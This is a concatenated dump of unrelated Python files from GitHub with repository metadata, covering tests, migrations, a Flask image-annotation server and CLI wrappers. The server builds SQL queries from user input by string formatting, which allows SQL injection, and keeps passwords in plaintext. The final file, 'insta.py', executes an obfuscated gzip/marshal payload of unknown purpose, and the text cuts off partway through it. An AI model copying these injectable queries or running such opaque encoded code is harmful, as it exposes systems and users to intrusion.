torch.cat(LOGITS).numpy() PROBS = torch.cat(PROBS).numpy() TARGETS = torch.cat(TARGETS).numpy() if get_output: return PROBS, TARGETS else: acc = accuracy_score(TARGETS, np.round(PROBS)) # calculating accuracy, 0.5 threshold auc = roc_auc_score(TARGETS, PROBS) # calculating area under the curve return val_loss, acc, auc

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null

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1

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null

0

7

dca02df300625c5289bb0f79e466f7a82544c5bb

93

py

Python

Subham Kumar Sahoo webapp/webapp.py

sksgit7/DigitalOcean

6aa3a4b2cf52e1c54f51b2edf096ed839825a01b

[ "MIT" ]

14

2020-06-04T09:44:28.000Z

2020-09-30T12:08:02.000Z

Subham Kumar Sahoo webapp/webapp.py

sksgit7/DigitalOcean

6aa3a4b2cf52e1c54f51b2edf096ed839825a01b

[ "MIT" ]

2

2020-06-05T16:43:09.000Z

2020-06-05T18:50:52.000Z

Subham Kumar Sahoo webapp/webapp.py

sksgit7/DigitalOcean

6aa3a4b2cf52e1c54f51b2edf096ed839825a01b

[ "MIT" ]

3

2020-06-05T10:36:44.000Z

2020-06-06T06:21:23.000Z

from app import app from flask_ngrok import run_with_ngrok # run_with_ngrok(app) # app.run()

18.6

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0.795699

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7

f4abfd280998b5d570887861b9a00bb2a8f022a2

1,592

py

Python

tests/test_49.py

sungho-joo/leetcode2github

ce7730ef40f6051df23681dd3c0e1e657abba620

[ "MIT" ]

null

tests/test_49.py

sungho-joo/leetcode2github

ce7730ef40f6051df23681dd3c0e1e657abba620

[ "MIT" ]

null

tests/test_49.py

sungho-joo/leetcode2github

ce7730ef40f6051df23681dd3c0e1e657abba620

[ "MIT" ]

null

#!/usr/bin/env python import pytest """ Test 49. Group Anagrams """ @pytest.fixture(scope="session") def init_variables_49(): from src.leetcode_49_group_anagrams import Solution solution = Solution() def _init_variables_49(): return solution yield _init_variables_49 class TestClass49: def test_solution_0(self, init_variables_49): assert init_variables_49().groupAnagrams(["eat", "tea", "tan", "ate", "nat", "bat"]) == [ ["bat"], ["nat", "tan"], ["ate", "eat", "tea"], ] def test_solution_1(self, init_variables_49): assert init_variables_49().groupAnagrams([""]) == [[""]] def test_solution_2(self, init_variables_49): assert init_variables_49().groupAnagrams(["a"]) == [["a"]] #!/usr/bin/env python import pytest """ Test 49. Group Anagrams """ @pytest.fixture(scope="session") def init_variables_49(): from src.leetcode_49_group_anagrams import Solution solution = Solution() def _init_variables_49(): return solution yield _init_variables_49 class TestClass49: def test_solution_0(self, init_variables_49): assert init_variables_49().groupAnagrams(["eat", "tea", "tan", "ate", "nat", "bat"]) == [ ["bat"], ["nat", "tan"], ["ate", "eat", "tea"], ] def test_solution_1(self, init_variables_49): assert init_variables_49().groupAnagrams([""]) == [[""]] def test_solution_2(self, init_variables_49): assert init_variables_49().groupAnagrams(["a"]) == [["a"]]

22.422535

97

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1,592

4.967742

0.198925

0.253247

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0.123377

1

0

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70

98

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1

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null

0

1

0

10

76263d71daf2034cfc92e0962e0fa9094679ad0f

1,411

py

Python

snippets/reg_and_stitching/stitch.py

michielkleinnijenhuis/EM

f46a9b11298919b359e80d9f23a7e824df1356cb

[ "Apache-2.0" ]

null

snippets/reg_and_stitching/stitch.py

michielkleinnijenhuis/EM

f46a9b11298919b359e80d9f23a7e824df1356cb

[ "Apache-2.0" ]

null

snippets/reg_and_stitching/stitch.py

michielkleinnijenhuis/EM

f46a9b11298919b359e80d9f23a7e824df1356cb

[ "Apache-2.0" ]

null

from ij import IJ inputdir = '/Users/michielk/oxdata/P01/EM/M3/M3_S1_GNU/tifs' outputdir = '/Users/michielk/oxdata/P01/EM/M3/M3_S1_GNU/stitched/' n_slices = 2 for slc in range(0, n_slices): IJ.run("Grid/Collection stitching", "type=[Grid: row-by-row] order=[Right & Down ] grid_size_x=2 grid_size_y=2 tile_overlap=10 first_file_index_i=0 directory=/Users/michielk/oxdata/P01/EM/M3/M3_S1_GNU/tifs file_names=0001_m{iii}.tif output_textfile_name=TileConfiguration.txt fusion_method=[Linear Blending] regression_threshold=0.30 max/avg_displacement_threshold=2.50 absolute_displacement_threshold=3.50 compute_overlap subpixel_accuracy computation_parameters=[Save memory (but be slower)] image_output=[Fuse and display]"); IJ.saveAs("Tiff", "/Users/michielk/oxdata/P01/EM/M3/M3_S1_GNU/0001_fused.tif"); # # run("Grid/Collection stitching", "type=[Grid: row-by-row] order=[Right & Down ] grid_size_x=2 grid_size_y=2 tile_overlap=10 first_file_index_i=0 directory=" + inputdir " file_names=" + slc + "_m{iii}.tif output_textfile_name=" + slc + "_TileConfiguration.txt fusion_method=[Linear Blending] regression_threshold=0.30 max/avg_displacement_threshold=2.50 absolute_displacement_threshold=3.50 compute_overlap subpixel_accuracy computation_parameters=[Save computation time (but use more RAM)] image_output=[Fuse and display]); # saveAs("Tiff", outputdir + slc + "_fused.tif");

108.538462

544

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1,411

4.698198

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0.084372

0.803452

0.755513

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0.644295

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1,411

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117.583333

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null

0

1

0

1

0

1

null

0

9

52321c089e9dd3f1bb7119e916016ebb1db0224e

129

py

Python

wsgi.py

mzaglia/inpe_catalog

33d6d39df584923bcaf6f4d0dada8dbe4f08e147

[ "MIT" ]

null

wsgi.py

mzaglia/inpe_catalog

33d6d39df584923bcaf6f4d0dada8dbe4f08e147

[ "MIT" ]

4

2018-09-13T16:10:00.000Z

2018-09-25T15:00:47.000Z

wsgi.py

mzaglia/inpe_catalog

33d6d39df584923bcaf6f4d0dada8dbe4f08e147

[ "MIT" ]

1

2018-07-26T17:18:35.000Z

import os from catalog import app app.run(debug=True, host=os.environ.get('CATALOG_HOST'), port=os.environ.get('CATALOG_PORT'))

25.8

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0.767442

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4.409091

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0.185567

0.247423

0.391753

0

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129

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null

0

1

0

1

0

1

0

7

526982b1c66fa86f7e157526cee329a014e8de74

3,741

py

Python

tests/test_models.py

Squidtoon99/dispike

db4b1a12268afcc87a96003923e6f56139872f0e

[ "MIT" ]

null

tests/test_models.py

Squidtoon99/dispike

db4b1a12268afcc87a96003923e6f56139872f0e

[ "MIT" ]

null

tests/test_models.py

Squidtoon99/dispike

db4b1a12268afcc87a96003923e6f56139872f0e

[ "MIT" ]

null

from dispike.models import * import pytest def test_valid_incoming_one_option(): data = { "channel_id": "123123", "data": { "id": "12312312", "name": "sendmessage", "options": [{"name": "message", "value": "test"}], }, "guild_id": "123123", "id": "123123123132", "member": { "deaf": False, "is_pending": False, "joined_at": "2019-05-12T18:36:16.878000+00:00", "mute": False, "nick": None, "pending": False, "permissions": "2147483647", "premium_since": None, "roles": [ "123123", "123123", "1231233", "1231233133", "12412412414", ], "user": { "avatar": "b723979992a56", "discriminator": "3333", "id": "234234213122123", "public_flags": 768, "username": "exo", }, }, "token": "Null", "type": 2, "version": 1, } _create_model = IncomingDiscordInteraction(**data) assert len(_create_model.data.options) == 1 def test_valid_incoming_multiple_options(): data = { "channel_id": "123123", "data": { "id": "12312312", "name": "sendmessage", "options": [ {"name": "message", "value": "test"}, {"name": "message2", "value": "test2"}, ], }, "guild_id": "123123", "id": "123123123132", "member": { "deaf": False, "is_pending": False, "joined_at": "2019-05-12T18:36:16.878000+00:00", "mute": False, "nick": None, "pending": False, "permissions": "2147483647", "premium_since": None, "roles": [ "123123", "123123", "1231233", "1231233133", "12412412414", ], "user": { "avatar": "b723979992a56", "discriminator": "3333", "id": "234234213122123", "public_flags": 768, "username": "exo", }, }, "token": "Null", "type": 2, "version": 1, } _create_model = IncomingDiscordInteraction(**data) assert len(_create_model.data.options) == 2 def test_valid_interaction_name(): data = { "channel_id": "123123", "data": { "id": "12312312", "name": "sendmessage", "options": [{"name": "message", "value": "test"}], }, "guild_id": "123123", "id": "123123123132", "member": { "deaf": False, "is_pending": False, "joined_at": "2019-05-12T18:36:16.878000+00:00", "mute": False, "nick": None, "pending": False, "permissions": "2147483647", "premium_since": None, "roles": [ "123123", "123123", "1231233", "1231233133", "12412412414", ], "user": { "avatar": "b723979992a56", "discriminator": "3333", "id": "234234213122123", "public_flags": 768, "username": "exo", }, }, "token": "Null", "type": 2, "version": 1, } _created_object = IncomingDiscordInteraction(**data) assert _created_object.data.name == "sendmessage"

28.340909

62

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0.847222

0

0.199533

0.42796

3,741

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1

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1

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null

0

7

5278f00de44639f802a1c375c893306cf8471e47

2,363

py

Python

test/pyaz/resource/link/__init__.py

bigdatamoore/py-az-cli

54383a4ee7cc77556f6183e74e992eec95b28e01

[ "MIT" ]

null

test/pyaz/resource/link/__init__.py

bigdatamoore/py-az-cli

54383a4ee7cc77556f6183e74e992eec95b28e01

[ "MIT" ]

9

2021-09-24T16:37:24.000Z

2021-12-24T00:39:19.000Z

test/pyaz/resource/link/__init__.py

bigdatamoore/py-az-cli

54383a4ee7cc77556f6183e74e992eec95b28e01

[ "MIT" ]

null

import json, subprocess from ... pyaz_utils import get_cli_name, get_params def create(link, target, notes=None): params = get_params(locals()) command = "az resource link create " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def delete(link): params = get_params(locals()) command = "az resource link delete " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def show(link): params = get_params(locals()) command = "az resource link show " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def list(scope=None, filter=None): params = get_params(locals()) command = "az resource link list " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr) def update(link, target=None, notes=None): params = get_params(locals()) command = "az resource link update " + params print(command) output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout = output.stdout.decode("utf-8") stderr = output.stderr.decode("utf-8") if stdout: return json.loads(stdout) print(stdout) else: raise Exception(stderr) print(stderr)

31.932432

96

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5.310105

0.149826

0.091864

0.065617

0.068898

0.900262

0.809711

0

0.005516

0.232755

2,363

73

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0

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0

0.029851

0

0.179104

0.223881

0

null

0

1

0

1

0

null

0

7

528c5ddaa1d8deb4de4e818522c557a73259fb79

226

py

Python

ml_privacy_meter/utils/__init__.py

mihirkhandekar/ml_privacy_meter

c8efa4b444a7908783cf83acc2a0270113dc2356

[ "MIT" ]

null

ml_privacy_meter/utils/__init__.py

mihirkhandekar/ml_privacy_meter

c8efa4b444a7908783cf83acc2a0270113dc2356

[ "MIT" ]

null

ml_privacy_meter/utils/__init__.py

mihirkhandekar/ml_privacy_meter

c8efa4b444a7908783cf83acc2a0270113dc2356

[ "MIT" ]

null

from ml_privacy_meter.utils import optimizers from ml_privacy_meter.utils import losses from ml_privacy_meter.utils import logger from ml_privacy_meter.utils import attack_data from ml_privacy_meter.utils import attack_utils

32.285714

47

0.884956

37

226

5.081081

0.297297

0.159574

0.345745

0.478723

0.835106

0.37234

0

0.09292

226

7

47

32.285714

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0

null

0

1

0

1

0

1

0

8

875fdb1866c2bb0bd365f526d91476c464170c00

6,203

py

Python

cfgov/v1/migrations/0144_rm_hero_links.py

higs4281/cfgov-refresh

a02b193fb2373d443265c21845adf8a196e05675

[ "CC0-1.0" ]

1

2019-11-26T20:18:22.000Z

cfgov/v1/migrations/0144_rm_hero_links.py

higs4281/cfgov-refresh

a02b193fb2373d443265c21845adf8a196e05675

[ "CC0-1.0" ]

8

2021-03-11T00:55:51.000Z

2022-02-13T21:10:14.000Z

cfgov/v1/migrations/0144_rm_hero_links.py

higs4281/cfgov-refresh

a02b193fb2373d443265c21845adf8a196e05675

[ "CC0-1.0" ]

1

2019-12-28T14:04:07.000Z

# -*- coding: utf-8 -*- # Generated by Django 1.11.20 on 2019-03-05 18:45 from __future__ import unicode_literals from django.db import migrations import wagtail.wagtailcore.blocks import wagtail.wagtailcore.fields import wagtail.wagtailimages.blocks class Migration(migrations.Migration): dependencies = [ ('v1', '0143_rm_formfieldwithbutton'), ] operations = [ migrations.AlterField( model_name='landingpage', name='header', field=wagtail.wagtailcore.fields.StreamField([(b'hero', wagtail.wagtailcore.blocks.StructBlock([(b'heading', wagtail.wagtailcore.blocks.CharBlock(help_text=b'Maximum character count: 25 (including spaces)', required=False)), (b'body', wagtail.wagtailcore.blocks.RichTextBlock(help_text=b'Maximum character count: 185 (including spaces)', required=False)), (b'background_color', wagtail.wagtailcore.blocks.CharBlock(help_text=b'Specify a hex value (with the # sign) from our official palette: https://github.com/cfpb/cf-theme-cfpb/blob/master/src/color-palette.less', required=False)), (b'is_white_text', wagtail.wagtailcore.blocks.BooleanBlock(help_text=b'Turns the hero text white. Useful if using a dark background color or background image.', required=False)), (b'image', wagtail.wagtailimages.blocks.ImageChooserBlock(help_text=b'Should be exactly 390px tall, and up to 940px wide, unless this is an overlay or bleeding style hero.', required=False)), (b'is_overlay', wagtail.wagtailcore.blocks.BooleanBlock(help_text=b'Select if you want the provided image to be a background image under the entire hero.', required=False)), (b'is_bleeding', wagtail.wagtailcore.blocks.BooleanBlock(help_text=b'Select if you want the provided image to bleed vertically off the top and bottom of the hero.', required=False)), (b'small_image', wagtail.wagtailimages.blocks.ImageChooserBlock(help_text=b'Provide an alternate image for small displays when using a bleeding or overlay hero.', required=False))])), (b'text_introduction', wagtail.wagtailcore.blocks.StructBlock([(b'eyebrow', wagtail.wagtailcore.blocks.CharBlock(help_text=b'Optional: Adds an H5 eyebrow above H1 heading text. Only use in conjunction with heading.', label=b'Pre-heading', required=False)), (b'heading', wagtail.wagtailcore.blocks.CharBlock(required=False)), (b'intro', wagtail.wagtailcore.blocks.RichTextBlock(required=False)), (b'body', wagtail.wagtailcore.blocks.RichTextBlock(required=False)), (b'links', wagtail.wagtailcore.blocks.ListBlock(wagtail.wagtailcore.blocks.StructBlock([(b'text', wagtail.wagtailcore.blocks.CharBlock(required=False)), (b'url', wagtail.wagtailcore.blocks.CharBlock(default=b'/', required=False))]), required=False)), (b'has_rule', wagtail.wagtailcore.blocks.BooleanBlock(help_text=b'Check this to add a horizontal rule line to bottom of text introduction.', label=b'Has bottom rule', required=False))]))], blank=True), ), migrations.AlterField( model_name='sublandingfilterablepage', name='header', field=wagtail.wagtailcore.fields.StreamField([(b'hero', wagtail.wagtailcore.blocks.StructBlock([(b'heading', wagtail.wagtailcore.blocks.CharBlock(help_text=b'Maximum character count: 25 (including spaces)', required=False)), (b'body', wagtail.wagtailcore.blocks.RichTextBlock(help_text=b'Maximum character count: 185 (including spaces)', required=False)), (b'background_color', wagtail.wagtailcore.blocks.CharBlock(help_text=b'Specify a hex value (with the # sign) from our official palette: https://github.com/cfpb/cf-theme-cfpb/blob/master/src/color-palette.less', required=False)), (b'is_white_text', wagtail.wagtailcore.blocks.BooleanBlock(help_text=b'Turns the hero text white. Useful if using a dark background color or background image.', required=False)), (b'image', wagtail.wagtailimages.blocks.ImageChooserBlock(help_text=b'Should be exactly 390px tall, and up to 940px wide, unless this is an overlay or bleeding style hero.', required=False)), (b'is_overlay', wagtail.wagtailcore.blocks.BooleanBlock(help_text=b'Select if you want the provided image to be a background image under the entire hero.', required=False)), (b'is_bleeding', wagtail.wagtailcore.blocks.BooleanBlock(help_text=b'Select if you want the provided image to bleed vertically off the top and bottom of the hero.', required=False)), (b'small_image', wagtail.wagtailimages.blocks.ImageChooserBlock(help_text=b'Provide an alternate image for small displays when using a bleeding or overlay hero.', required=False))]))], blank=True), ), migrations.AlterField( model_name='sublandingpage', name='header', field=wagtail.wagtailcore.fields.StreamField([(b'hero', wagtail.wagtailcore.blocks.StructBlock([(b'heading', wagtail.wagtailcore.blocks.CharBlock(help_text=b'Maximum character count: 25 (including spaces)', required=False)), (b'body', wagtail.wagtailcore.blocks.RichTextBlock(help_text=b'Maximum character count: 185 (including spaces)', required=False)), (b'background_color', wagtail.wagtailcore.blocks.CharBlock(help_text=b'Specify a hex value (with the # sign) from our official palette: https://github.com/cfpb/cf-theme-cfpb/blob/master/src/color-palette.less', required=False)), (b'is_white_text', wagtail.wagtailcore.blocks.BooleanBlock(help_text=b'Turns the hero text white. Useful if using a dark background color or background image.', required=False)), (b'image', wagtail.wagtailimages.blocks.ImageChooserBlock(help_text=b'Should be exactly 390px tall, and up to 940px wide, unless this is an overlay or bleeding style hero.', required=False)), (b'is_overlay', wagtail.wagtailcore.blocks.BooleanBlock(help_text=b'Select if you want the provided image to be a background image under the entire hero.', required=False)), (b'is_bleeding', wagtail.wagtailcore.blocks.BooleanBlock(help_text=b'Select if you want the provided image to bleed vertically off the top and bottom of the hero.', required=False)), (b'small_image', wagtail.wagtailimages.blocks.ImageChooserBlock(help_text=b'Provide an alternate image for small displays when using a bleeding or overlay hero.', required=False))]))], blank=True), ), ]

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0.770434

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0.069871

0.854965

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1

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null

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10

5e415d220d92e02d210bb32ac6bb18286e09279f

14,975

py

Python

system-server/function.py

xingximing-xxm/Image-Annotation-Correction-System

aeb5d3c556d30c855b8dfea61feeaf17d46ec135

[ "MIT" ]

null

system-server/function.py

xingximing-xxm/Image-Annotation-Correction-System

aeb5d3c556d30c855b8dfea61feeaf17d46ec135

[ "MIT" ]

null

system-server/function.py

xingximing-xxm/Image-Annotation-Correction-System

aeb5d3c556d30c855b8dfea61feeaf17d46ec135

[ "MIT" ]

null

from nltk.corpus import wordnet import torch from tqdm import tqdm from labeldic import label_dic import json from datetime import datetime from multiprocessing import Lock def login(cursor, data): user = data['inf'] lock = Lock() lock.acquire() cursor.execute("select * from Users where username='%s' and password='%s';" % (user['username'], user['password'])) result = cursor.fetchall() history = result[0][2] lock.release() if len(result) == 1: admin = result[0][3] lock.acquire() cursor.execute("select upload, retrieve from Admin where admin = %d;" % admin) result = cursor.fetchall() admin = {'upload': result[0][0], 'retrieve': result[0][1]} lock.release() if data['dataset'] == 'ImageNet': all_classes = [label_dic[str(i)][0] for i in range(1000)] else: lock.acquire() cursor.execute("select label from %s_Label order by id asc;" % data['dataset']) all_classes = [item[0] for item in cursor.fetchall()] lock.release() lock.acquire() cursor.execute("select name, classes, number, is_c from Dataset;") datasets = [] dataSource = [] for item in cursor.fetchall(): if item[3] == 1: datasets.append(item[0]) dataSource.append({'dataset': item[0], 'classes': item[1], 'number': item[2], 'is_c': item[3]}) lock.release() print(dataSource) return True, "Log in successful.", history, all_classes, {'datasets': datasets, 'dataSource': dataSource}, admin else: return False, "Username or password error.", {"history": []} def register(cursor, data): cursor.execute("select * from Users where username='%s';" % (data['username'])) result = cursor.fetchall() if len(result) > 0: return False, "The username has been registered." else: cursor.execute( "insert into Users (username, password, history, admin) values('%s', '%s', '%s', 0);" % ( data['username'], data['password'], json.dumps({"history": []}))) return True, "Registration successful." def size(flag, item): if flag == 'all': return True elif flag == 'large': if item[4] >= 1000: return True else: return False elif flag == 'middle': if 800 <= item[4] < 1000: return True else: return False else: if item[4] < 800: return True else: return False def date(flag, item): if flag == 'all': return True elif flag == 'one': if (datetime.now() - item[5]).days < 1: return True else: return False elif flag == 'three': if (datetime.now() - item[5]).days < 3: return True else: return False else: if (datetime.now() - item[5]).days < 7: return True else: return False def noisy(cursor, data): if data['dataset'] == 'ImageNet': noisy_images = [] cursor.execute( "select path, noisy_label, clean_label, score, size, time from %s where noisy_label <> clean_label order by score asc;" % data['dataset']) result = cursor.fetchall() for item in result: if size(data['size'], item) and date(data['date'], item): image = {'path': '/imgs' + item[0], 'noisy_label': label_dic[str(item[1])][0], 'clean_label': label_dic[str(item[2])][0], 'size': item[4]} noisy_images.append(image) noisy_num = len(noisy_images) cursor.execute("select count(*) from %s where noisy_label = clean_label;" % data['dataset']) result = cursor.fetchall() clean_num = result[0][0] else: noisy_images = [] cursor.execute("select label from %s_Label order by id asc;" % data['dataset']) all_classes = [item[0] for item in cursor.fetchall()] cursor.execute( "select path, noisy_label, clean_label, score, size, time from %s where noisy_label <> clean_label order by score asc;" % data['dataset']) result = cursor.fetchall() for item in result: if size(data['size'], item) and date(data['date'], item): image = {'path': '/imgs' + item[0], 'noisy_label': all_classes[item[1]], 'clean_label': all_classes[item[2]], 'size': item[4]} noisy_images.append(image) noisy_num = len(noisy_images) cursor.execute("select count(*) from %s where noisy_label = clean_label;" % data['dataset']) result = cursor.fetchall() clean_num = result[0][0] return noisy_images, clean_num, noisy_num def search_generic(cursor, data): if data['dataset'] == 'ImageNet': label_imagenet = torch.load('label/imagenet_label.dic') word_list = [] for i in tqdm(range(len(label_imagenet))): word = {} for item in label_imagenet[i]: try: word[item] = wordnet.synsets(item)[0] except: continue word_list.append(word) clean_images, noisy_images = [], [] try: word_search = data['search'].split(' ') for i in range(len(word_search)): word_search[i] = wordnet.synsets(word_search[i])[0] except: return clean_images, noisy_images, 0, 0 c = [] for i in tqdm(range(len(label_imagenet))): s_all = 0 s_len = len(label_imagenet[i]) for item in label_imagenet[i]: try: word = word_list[i][item] similarity = 0 for j in range(len(word_search)): similarity += word_search[j].path_similarity(word) similarity = similarity / len(word_search) s_all += similarity except: s_len -= 1 continue try: s_equal = s_all / s_len if s_equal > 0.4: c.append(i) except: continue if len(c) == 0: return clean_images, noisy_images, 0, 0 else: result = [] for item in c: cursor.execute( "select path, noisy_label, clean_label, score, size, time from %s where noisy_label=%d and noisy_label = clean_label;" % ( data['dataset'], item)) result += cursor.fetchall() result = sorted(result, key=lambda tup: tup[3], reverse=True) for item in result: if size(data['size'], item) and date(data['date'], item): image = {'path': '/imgs' + item[0], 'label': label_dic[str(item[1])][0], 'size': item[4]} clean_images.append(image) clean_num = len(clean_images) result = [] for item in c: cursor.execute( "select path, noisy_label, clean_label, score, size, time from %s where noisy_label=%d and noisy_label <> clean_label;" % ( data['dataset'], item)) result += cursor.fetchall() result = sorted(result, key=lambda tup: tup[3]) for item in result: if size(data['size'], item) and date(data['date'], item): image = {'path': '/imgs' + item[0], 'noisy_label': label_dic[str(item[1])][0], 'clean_label': label_dic[str(item[2])][0], 'size': item[4]} noisy_images.append(image) noisy_num = len(noisy_images) for item in c: print(label_dic[str(item)][0]) else: cursor.execute("select label from %s_Label order by id asc;" % data['dataset']) all_classes = [item[0] for item in cursor.fetchall()] all_classes = [item.split(' ') for item in all_classes] word_list = [] for i in tqdm(range(len(all_classes))): word = {} for item in all_classes[i]: try: word[item] = wordnet.synsets(item)[0] except: continue word_list.append(word) clean_images, noisy_images = [], [] try: word_search = data['search'].split(' ') for i in range(len(word_search)): word_search[i] = wordnet.synsets(word_search[i])[0] except: return clean_images, noisy_images, 0, 0 c = [] for i in tqdm(range(len(all_classes))): s_all = 0 s_len = len(all_classes[i]) for item in all_classes[i]: try: word = word_list[i][item] similarity = 0 for j in range(len(word_search)): similarity += word_search[j].path_similarity(word) similarity = similarity / len(word_search) s_all += similarity except: s_len -= 1 continue try: s_equal = s_all / s_len if s_equal > 0.4: c.append(i) except: continue if len(c) == 0: return clean_images, noisy_images, 0, 0 else: result = [] for item in c: cursor.execute( "select path, noisy_label, clean_label, score, size, time from %s where noisy_label=%d and noisy_label = clean_label;" % ( data['dataset'], item)) result += cursor.fetchall() result = sorted(result, key=lambda tup: tup[3], reverse=True) for item in result: if size(data['size'], item) and date(data['date'], item): image = {'path': '/imgs' + item[0], 'label': all_classes[item[1]], 'size': item[4]} clean_images.append(image) clean_num = len(clean_images) result = [] for item in c: cursor.execute( "select path, noisy_label, clean_label, score, size, time from %s where noisy_label=%d and noisy_label <> clean_label;" % ( data['dataset'], item)) result += cursor.fetchall() result = sorted(result, key=lambda tup: tup[3]) for item in result: if size(data['size'], item) and date(data['date'], item): image = {'path': '/imgs' + item[0], 'noisy_label': all_classes[item[1]], 'clean_label': all_classes[item[2]], 'size': item[4]} noisy_images.append(image) noisy_num = len(noisy_images) for item in c: print(label_dic[str(item)][0]) return clean_images, noisy_images, clean_num, noisy_num def search_accurate(cursor, data): clean_images, noisy_images = [], [] search = data['search'] if data['dataset'] == 'ImageNet': c = -1 for i in tqdm(range(len(label_dic))): if search in label_dic[str(i)]: c = i break if c == -1: return clean_images, noisy_images, 0, 0 else: cursor.execute( "select path, noisy_label, clean_label, score, size, time from %s where noisy_label=%d and noisy_label = clean_label order by score desc;" % ( data['dataset'], c)) result = cursor.fetchall() for item in result: if size(data['size'], item) and date(data['date'], item): image = {'path': '/imgs' + item[0], 'label': label_dic[str(item[1])][0], 'size': item[4]} clean_images.append(image) clean_num = len(clean_images) cursor.execute( "select path, noisy_label, clean_label, score, size, time from %s where noisy_label=%d and noisy_label <> clean_label order by score asc;" % ( data['dataset'], c)) result = cursor.fetchall() for item in result: if size(data['size'], item) and date(data['date'], item): image = {'path': '/imgs' + item[0], 'noisy_label': label_dic[str(item[1])][0], 'clean_label': label_dic[str(item[2])][0], 'size': item[4]} noisy_images.append(image) noisy_num = len(noisy_images) print(c) else: cursor.execute("select label from %s_Label order by id asc;" % data['dataset']) all_classes = [item[0] for item in cursor.fetchall()] c = -1 for i in tqdm(range(len(all_classes))): if search == all_classes[i]: c = i break if c == -1: return clean_images, noisy_images, 0, 0 else: cursor.execute( "select path, noisy_label, clean_label, score, size, time from %s where noisy_label=%d and noisy_label = clean_label order by score desc;" % ( data['dataset'], c)) result = cursor.fetchall() for item in result: if size(data['size'], item) and date(data['date'], item): image = {'path': '/imgs' + item[0], 'label': all_classes[item[1]], 'size': item[4]} clean_images.append(image) clean_num = len(clean_images) cursor.execute( "select path, noisy_label, clean_label, score, size, time from %s where noisy_label=%d and noisy_label <> clean_label order by score asc;" % ( data['dataset'], c)) result = cursor.fetchall() for item in result: if size(data['size'], item) and date(data['date'], item): image = {'path': '/imgs' + item[0], 'noisy_label': all_classes[item[1]], 'clean_label': all_classes[item[2]], 'size': item[4]} noisy_images.append(image) noisy_num = len(noisy_images) return clean_images, noisy_images, clean_num, noisy_num

41.14011

159

0.499366

1,700

14,975

4.271176

0.075882

0.04958

0.032227

0.060598

0.82165

0.802369

0.773998

0.762567

0.70376

0.682

0

0.014608

0.378297

14,975

363

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41.253444

0.765306

0

0.813253

0

0.033133

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false

0.012048

0.021084

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0.123494

0.012048

0

null

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1

0

1

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null

0

7

5e84b862ff29eb4b12747dab6596bf3ae10465f9

173,695

py

Python

bin/temp/var/usd/cd/tmp/usd/data/data/data/data/data/temp/insta.py

RazorKenway/All-Downloader

e1c6d9ee277166faff8876e967b521fd752f0e7f

[ "MIT" ]

44

2021-06-28T15:57:18.000Z

2022-03-22T07:36:13.000Z

bin/temp/var/usd/cd/tmp/usd/data/data/data/data/data/temp/insta.py

RazorKenway/All-Downloader

e1c6d9ee277166faff8876e967b521fd752f0e7f

[ "MIT" ]

1

2021-11-26T13:28:10.000Z

2022-01-10T21:23:41.000Z

bin/temp/var/usd/cd/tmp/usd/data/data/data/data/data/temp/insta.py

RazorKenway/All-Downloader

e1c6d9ee277166faff8876e967b521fd752f0e7f

[ "MIT" ]

5

2021-08-23T17:34:56.000Z

2022-02-25T19:23:59.000Z

#ENCODE BY CRYPTO #YOU CAN TRY THIS DECODE GOD BLESS import gzip,marshal,zlib,base64,binascii,lzma try: exec(gzip.decompress(marshal.loads(b's\xc4\xeb\x00\x00\x1f\x8b\x08\x00\x00\x86\x98a\x02\xff\\]YC\x14M\x90|\xdf_\x81\x88\xa8\xa0\xd0\xf7\xa1"\xa0 \xa2\x82\x8a"\xa8\xa8tuu\x0b\xa2\xdc\xca!\xfa\xdbw"2\xca\xf9v\x1f<\x80a\xa6\xbb\xba*\x8f\xc8\xc8\xc8\xdd\x1f\x87\x07\xc7\xa7#\xae9\xe9\x8a\xec\xce\x8f\xe6\xf8d\xa7\xf9~\xc7\xed\xee7\'\xed\xee\xee\x9d\xaf\x97\xbb\x87w.\xbf\xef\xba\xff9=\xbe\xb8\xd7\x9dw\xed-\xbdf\xea\xfbA\xe3On\xe1\x05S\xbek\x0f~\x1c\x1ew\'\'\xb7\xdc\xcd\xad\xf3\xb8\xdf:\xaf\xdc\xd6yT\r\xfeD\xf6\xa7*\xb6\xce\xeb\xaa\x19|\x91l\x9d\xf7\x83\x17\xb4\xed\xd6\xb9+\xb7\xce}z25\xf8n7\xf8\n/\xcd\x06\xbf>\xf85?\xf8uW\xfc\xd8:\xef\x06\xffi\x07\xdfl\x07\xbf_\xd5\x83\xaf\xfd\xe0Of\xdf\xeb\xf1!\xff^\xf9\xff\xfe3\xf8\xb8\xc1K\xfb\xc1\x1f\xef\x7f\x7f\xb1\xef\xf4\xc5\xf4\xe0\xcb\xc1\xdb7\x83w\xaa\x07\x17\xd3u\xe1\xff\x7f\x07_\x0c~P\x97\xf6\x8d\xae\x89u\xa9\x8d]n\x9c\xd9%\x97\xfd]|\xf0\x97\xfb\x97\x83\x7f\x06_G%\xaem\xce.\xb0\x1d\xdc\x81/\xe6>\xe8\x0e\xf1\xa3\xe8\x83}\x9b\xdfp#\x1fF\xc2\x7f\x07\x9f\x83\x9f5\xff~\xb6\xfda{\xf01\x83\x0b\xea\xa3\xf1\xc1\x05\xe0\xaf6\xba\x18|\x0b\xffk\xf0\xbf:\xc2\xc7\xe0\x1dj\xbd\xa9\xfe\xadb\xfb\xb7\x8d\xe6p\xe9x\xc7\xc1:\xd4\xf9\xf0\'U\xf4\xc2>\xcb\xb7\x17\xf6]\xfcq\x99}\xd3\xbe~\x80\xcfZ\x19\\D\xd5\xce\xaf\xe0\x07\xa9~2\xb8\xcd\x16\xafN\xe6\xf1\xce/\x07?J\xed\xb3\xeb\